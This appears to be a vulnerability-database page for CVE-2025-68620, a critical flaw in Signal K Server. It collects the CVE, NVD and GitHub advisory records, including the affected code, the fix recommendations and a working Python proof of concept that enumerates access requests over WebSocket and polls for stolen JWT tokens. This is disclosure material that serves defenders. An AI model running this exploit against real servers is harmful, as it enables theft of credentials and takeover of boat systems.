Vulnerability-Lookup

CVE-2025-68620 (GCVE-0-2025-68620)

Vulnerability from cvelistv5 – Published: 2026-01-01 18:29 – Updated: 2026-01-02 18:58

Title

Signal K Server vulnerable to JWT Token Theft via WebSocket Enumeration and Unauthenticated Polling

Summary

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 expose two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status. The first is Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses. The second is Unauthenticated Token Polling: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access. An attacker has two paths to exploit these vulnerabilities. Either the attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token; or the attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials. Both paths require zero authentication and enable complete authentication bypass. Version 2.19.0 fixes the underlying issues.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-01-02 18:58 UTC

CWE

CWE-288 - Authentication Bypass Using an Alternate Path or Channel

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/SignalK/signalk-server/securit…	x_refsource_CONFIRM
https://github.com/SignalK/signalk-server/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
SignalK	signalk-server	Affected: < 2.19.0	guessed

Show details on NVD website

JSON

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FKIE_CVE-2025-68620

Vulnerability from fkie_nvd - Published: 2026-01-01 19:15 - Updated: 2026-10-01 08:10

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/SignalK/signalk-server/releases/tag/v2.19.0	Release Notes
	security-advisories@github.com	https://github.com/SignalK/signalk-server/security/advisories/GHSA-fq56-hvg6-wvm5	Exploit, Vendor Advisory

Impacted products

Vendor	Product	Version
signalk	signal_k_server	*
signalk	signal_k_server	2.19.0
signalk	signal_k_server	2.19.0
signalk	signal_k_server	2.19.0
signalk	signal_k_server	2.19.0

JSON

To clipboard

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        {
          "product": "signalk-server",
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          "versions": [
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              "status": "affected",
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              "matchCriteriaId": "0F33D560-D916-45D7-AAF6-63E89BE06805",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:signalk:signal_k_server:2.19.0:beta3:*:*:*:*:*:*",
              "matchCriteriaId": "2B544F41-AFE7-454F-BE01-89AC7B954AF5",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:signalk:signal_k_server:2.19.0:beta4:*:*:*:*:*:*",
              "matchCriteriaId": "BCF3D7E0-66FE-47F1-97BA-ABCF769B0D7C",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 expose two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status. The first is Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses. The second is Unauthenticated Token Polling: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access. An attacker has two paths to exploit these vulnerabilities. Either the attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token; or the attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials. Both paths require zero authentication and enable complete authentication bypass. Version 2.19.0 fixes the underlying issues."
    },
    {
      "lang": "es",
      "value": "Signal K Server es una aplicaci\u00f3n de servidor que se ejecuta en un concentrador central en un barco. Las versiones anteriores a la 2.19.0 exponen dos caracter\u00edsticas que pueden encadenarse para robar tokens de autenticaci\u00f3n JWT sin ninguna autenticaci\u00f3n previa. El ataque combina la enumeraci\u00f3n de solicitudes basada en WebSocket con el sondeo no autenticado del estado de las solicitudes de acceso. La primera es la enumeraci\u00f3n de solicitudes WebSocket no autenticadas: Cuando un cliente WebSocket se conecta al endpoint de flujo de SignalK con el par\u00e1metro de consulta \u0027serverevents=all\u0027, el servidor env\u00eda todos los eventos de servidor en cach\u00e9, incluidos los eventos \u0027ACCESS_REQUEST\u0027 que contienen detalles sobre las solicitudes de acceso pendientes. La funci\u00f3n \u0027startServerEvents\u0027 itera sobre \u0027app.lastServerEvents\u0027 y escribe cada evento en cach\u00e9 a cualquier cliente conectado sin verificar el nivel de autorizaci\u00f3n. Dado que las conexiones WebSocket est\u00e1n permitidas para usuarios de solo lectura (lo que incluye a los usuarios no autenticados cuando \u0027allow_readonly\u0027 es verdadero), los atacantes reciben estos eventos que contienen IDs de solicitud, identificadores de cliente, descripciones, permisos solicitados y direcciones IP. La segunda es el sondeo de tokens no autenticados: El endpoint de estado de solicitud de acceso en /signalk/v1/access/requests/:id devuelve el estado completo de una solicitud de acceso sin requerir autenticaci\u00f3n. Cuando un administrador aprueba una solicitud, la respuesta incluye el token JWT emitido en texto plano. La funci\u00f3n \u0027queryRequest\u0027 devuelve el objeto de solicitud completo, incluido el campo del token, y el endpoint REST utiliza autenticaci\u00f3n de solo lectura, lo que permite el acceso no autenticado. Un atacante tiene dos caminos para explotar estas vulnerabilidades. O el atacante crea su propia solicitud de acceso (utilizando la vulnerabilidad de suplantaci\u00f3n de IP para elaborar una solicitud suplantada convincente), luego sondea su propio ID de solicitud hasta que un administrador la aprueba, recibiendo el token JWT; o el atacante monitorea pasivamente el flujo de WebSocket para descubrir IDs de solicitud de dispositivos leg\u00edtimos, luego sondea esos IDs y roba los tokens JWT cuando los administradores los aprueban, secuestrando credenciales de dispositivos leg\u00edtimos. Ambos caminos requieren cero autenticaci\u00f3n y permiten una omisi\u00f3n de autenticaci\u00f3n completa. La versi\u00f3n 2.19.0 corrige los problemas subyacentes."
    }
  ],
  "id": "CVE-2025-68620",
  "lastModified": "2026-10-01T08:10:00.183",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-68620",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-01-02T18:58:09.207181Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-01-01T19:15:53.910",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-fq56-hvg6-wvm5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-288"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-FQ56-HVG6-WVM5

Vulnerability from github – Published: 2026-01-02 15:28 – Updated: 2026-01-02 15:28

Summary

Signal K Server vulnerable to JWT Token Theft via WebSocket Enumeration and Unauthenticated Polling

Details

SignalK Server exposes two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status.

Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the serverevents=all query parameter, the server sends all cached server events including ACCESS_REQUEST events that contain details about pending access requests. The startServerEvents function iterates over app.lastServerEvents and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when allow_readonly is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses.

Unauthenticated Token Polling: The access request status endpoint at /signalk/v1/access/requests/:id returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The queryRequest function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access.

An attacker has two paths to exploit these vulnerabilities:

The attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token.
The attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials.

Both paths require zero authentication and enable complete authentication bypass.

Affected Code

File: src/events.ts (lines 40-43)

Object.keys(app.lastServerEvents).forEach((propName) => {
  spark.write(app.lastServerEvents[propName])
})

All cached server events, including ACCESS_REQUEST, are sent to any connected WebSocket client without permission checks.

File: src/tokensecurity.js (lines 946-948)

strategy.getAccessRequestsResponse = () => {
  return filterRequests('accessRequest', 'PENDING')
}

This function returns all pending requests with full details, which is then broadcast as a server event.

File: src/requestResponse.js (lines 108-135)

function createReply(request, state, props) {
  const reply = {
    state: state,
    requestId: request.requestId
  }

  if (request.updateCb) {
    props.forEach((prop) => {
      if (typeof request[prop] !== 'undefined') {
        reply[prop] = request[prop]  // Includes 'token' when approved
      }
    })
  }
  return reply
}

When an access request transitions to COMPLETED state with APPROVED permission, the token is included in the reply object.

File: src/interfaces/rest.js (endpoint registration)

The /signalk/v1/access/requests/:id endpoint uses readonly authentication, allowing unauthenticated access when allow_readonly is true.

Impact

An attacker can obtain any JWT token issued by the server without authentication. By exploiting the social engineering vulnerability to request admin permissions, they receive a fully privileged admin token granting access to all protected endpoints including package installation, effectively bypassing authentication entirely. Additionally, attackers can hijack legitimate device credentials by stealing tokens intended for real devices.

PoC

import json, websocket, requests, time

TARGET_IP, TARGET_PORT = "localhost", 3000
TARGET_WS = f"ws://{TARGET_IP}:{TARGET_PORT}"
TARGET_HTTP = f"http://{TARGET_IP}:{TARGET_PORT}"

def poll_for_token(request_id, href):
    print(f"[*] Polling started for request {request_id}")
    url = f"{TARGET_HTTP}{href}"
    while True:
        try:
            r = requests.get(url)

            if r.status_code == 200:
                data = r.json()
                state = data.get("state")
                print(f"[.] Request {request_id} state: {state}")

                if state == "COMPLETED":
                    access_req = data.get("accessRequest", {})
                    permission = access_req.get("permission")
                    token = access_req.get("token")

                    print(f"[*] Request completed - Permission: {permission}, Token present: {bool(token)}")

                    if token:
                        print(f"[+] TOKEN STOLEN")
                        print(f"[+] Permission: {permission}")
                        print(f"[+] JWT Token: {token}")
                        return token
                    else:
                        print(f"[-] Request {request_id} denied or no token")
                        return None
            else:
                print(f"[-] HTTP {r.status_code} for request {request_id}")

        except Exception as e:
            print(f"[-] Error polling {request_id}: {e}")

        time.sleep(5)

def monitor_and_steal_tokens():
    uri = f"{TARGET_WS}/signalk/v1/stream?serverevents=all"
    print(f"[*] Connecting to {uri}")

    ws = websocket.create_connection(uri)
    print("[+] Connected, monitoring for ACCESS_REQUEST events...")

    while True:
        message = ws.recv()
        msg = json.loads(message)

        if msg.get("type") == "ACCESS_REQUEST":
            print("[+] ACCESS_REQUEST event received!")
            data = msg.get("data", [])

            if data:
                req = data[0]
                request_id = req.get('requestId')
                permissions = req.get('clientRequest', {}).get('permissions')
                href = req.get('href', f'/signalk/v1/requests/{request_id}')

                print(f"[*] Found request: {request_id}")
                print(f"[*] Closing WebSocket and starting polling...")

                ws.close()
                poll_for_token(request_id, href)
                break

if __name__ == "__main__":
    monitor_and_steal_tokens()

Recommendations

Require strict authentication for all WebSocket channels. The serverevents=all parameter should only be accessible to authenticated admin users. Unauthenticated or readonly users should not receive any server events.
Place ACCESS_REQUEST events behind strict authentication. Even if other server events are available to readonly users, access request details must only be sent to authenticated administrators.
Implement client verification so only the original requester can retrieve their token
Consider delivering tokens through a separate secure channel rather than the polling endpoint

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T15:28:54Z",
    "nvd_published_at": "2026-01-01T19:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "SignalK Server exposes two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status.\n\n**Unauthenticated WebSocket Request Enumeration**: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses.\n\n**Unauthenticated Token Polling**: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access.\n\nAn attacker has two paths to exploit these vulnerabilities:\n\n1. The attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token.\n\n2. The attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials.\n\nBoth paths require zero authentication and enable complete authentication bypass.\n\n### Affected Code\n\n**File**: `src/events.ts` (lines 40-43)\n\n```typescript\nObject.keys(app.lastServerEvents).forEach((propName) =\u003e {\n  spark.write(app.lastServerEvents[propName])\n})\n```\n\nAll cached server events, including `ACCESS_REQUEST`, are sent to any connected WebSocket client without permission checks.\n\n**File**: `src/tokensecurity.js` (lines 946-948)\n\n```javascript\nstrategy.getAccessRequestsResponse = () =\u003e {\n  return filterRequests(\u0027accessRequest\u0027, \u0027PENDING\u0027)\n}\n```\n\nThis function returns all pending requests with full details, which is then broadcast as a server event.\n\n**File**: `src/requestResponse.js` (lines 108-135)\n\n```javascript\nfunction createReply(request, state, props) {\n  const reply = {\n    state: state,\n    requestId: request.requestId\n  }\n\n  if (request.updateCb) {\n    props.forEach((prop) =\u003e {\n      if (typeof request[prop] !== \u0027undefined\u0027) {\n        reply[prop] = request[prop]  // Includes \u0027token\u0027 when approved\n      }\n    })\n  }\n  return reply\n}\n```\n\nWhen an access request transitions to COMPLETED state with APPROVED permission, the token is included in the reply object.\n\n**File**: `src/interfaces/rest.js` (endpoint registration)\n\nThe `/signalk/v1/access/requests/:id` endpoint uses readonly authentication, allowing unauthenticated access when `allow_readonly` is true.\n\n### Impact\n\nAn attacker can obtain any JWT token issued by the server without authentication. By exploiting the social engineering vulnerability to request admin permissions, they receive a fully privileged admin token granting access to all protected endpoints including package installation, effectively bypassing authentication entirely. Additionally, attackers can hijack legitimate device credentials by stealing tokens intended for real devices.\n\n### PoC\n\n```python\nimport json, websocket, requests, time\n\nTARGET_IP, TARGET_PORT = \"localhost\", 3000\nTARGET_WS = f\"ws://{TARGET_IP}:{TARGET_PORT}\"\nTARGET_HTTP = f\"http://{TARGET_IP}:{TARGET_PORT}\"\n\ndef poll_for_token(request_id, href):\n    print(f\"[*] Polling started for request {request_id}\")\n    url = f\"{TARGET_HTTP}{href}\"\n    while True:\n        try:\n            r = requests.get(url)\n            \n            if r.status_code == 200:\n                data = r.json()\n                state = data.get(\"state\")\n                print(f\"[.] Request {request_id} state: {state}\")\n                \n                if state == \"COMPLETED\":\n                    access_req = data.get(\"accessRequest\", {})\n                    permission = access_req.get(\"permission\")\n                    token = access_req.get(\"token\")\n                    \n                    print(f\"[*] Request completed - Permission: {permission}, Token present: {bool(token)}\")\n                    \n                    if token:\n                        print(f\"[+] TOKEN STOLEN\")\n                        print(f\"[+] Permission: {permission}\")\n                        print(f\"[+] JWT Token: {token}\")\n                        return token\n                    else:\n                        print(f\"[-] Request {request_id} denied or no token\")\n                        return None\n            else:\n                print(f\"[-] HTTP {r.status_code} for request {request_id}\")\n                        \n        except Exception as e:\n            print(f\"[-] Error polling {request_id}: {e}\")\n            \n        time.sleep(5)\n\ndef monitor_and_steal_tokens():\n    uri = f\"{TARGET_WS}/signalk/v1/stream?serverevents=all\"\n    print(f\"[*] Connecting to {uri}\")\n    \n    ws = websocket.create_connection(uri)\n    print(\"[+] Connected, monitoring for ACCESS_REQUEST events...\")\n    \n    while True:\n        message = ws.recv()\n        msg = json.loads(message)\n        \n        if msg.get(\"type\") == \"ACCESS_REQUEST\":\n            print(\"[+] ACCESS_REQUEST event received!\")\n            data = msg.get(\"data\", [])\n            \n            if data:\n                req = data[0]\n                request_id = req.get(\u0027requestId\u0027)\n                permissions = req.get(\u0027clientRequest\u0027, {}).get(\u0027permissions\u0027)\n                href = req.get(\u0027href\u0027, f\u0027/signalk/v1/requests/{request_id}\u0027)\n                \n                print(f\"[*] Found request: {request_id}\")\n                print(f\"[*] Closing WebSocket and starting polling...\")\n                \n                ws.close()\n                poll_for_token(request_id, href)\n                break\n\nif __name__ == \"__main__\":\n    monitor_and_steal_tokens()\n```\n\n### Recommendations\n\n1. Require strict authentication for all WebSocket channels. The `serverevents=all` parameter should only be accessible to authenticated admin users. Unauthenticated or readonly users should not receive any server events.\n2. Place `ACCESS_REQUEST` events behind strict authentication. Even if other server events are available to readonly users, access request details must only be sent to authenticated administrators.\n3. Implement client verification so only the original requester can retrieve their token\n4. Consider delivering tokens through a separate secure channel rather than the polling endpoint",
  "id": "GHSA-fq56-hvg6-wvm5",
  "modified": "2026-01-02T15:28:55Z",
  "published": "2026-01-02T15:28:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-fq56-hvg6-wvm5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68620"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signal K Server vulnerable to JWT Token Theft via WebSocket Enumeration and Unauthenticated Polling"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-68620 (GCVE-0-2025-68620)

FKIE_CVE-2025-68620

GHSA-FQ56-HVG6-WVM5

Affected Code

Impact

PoC

Recommendations

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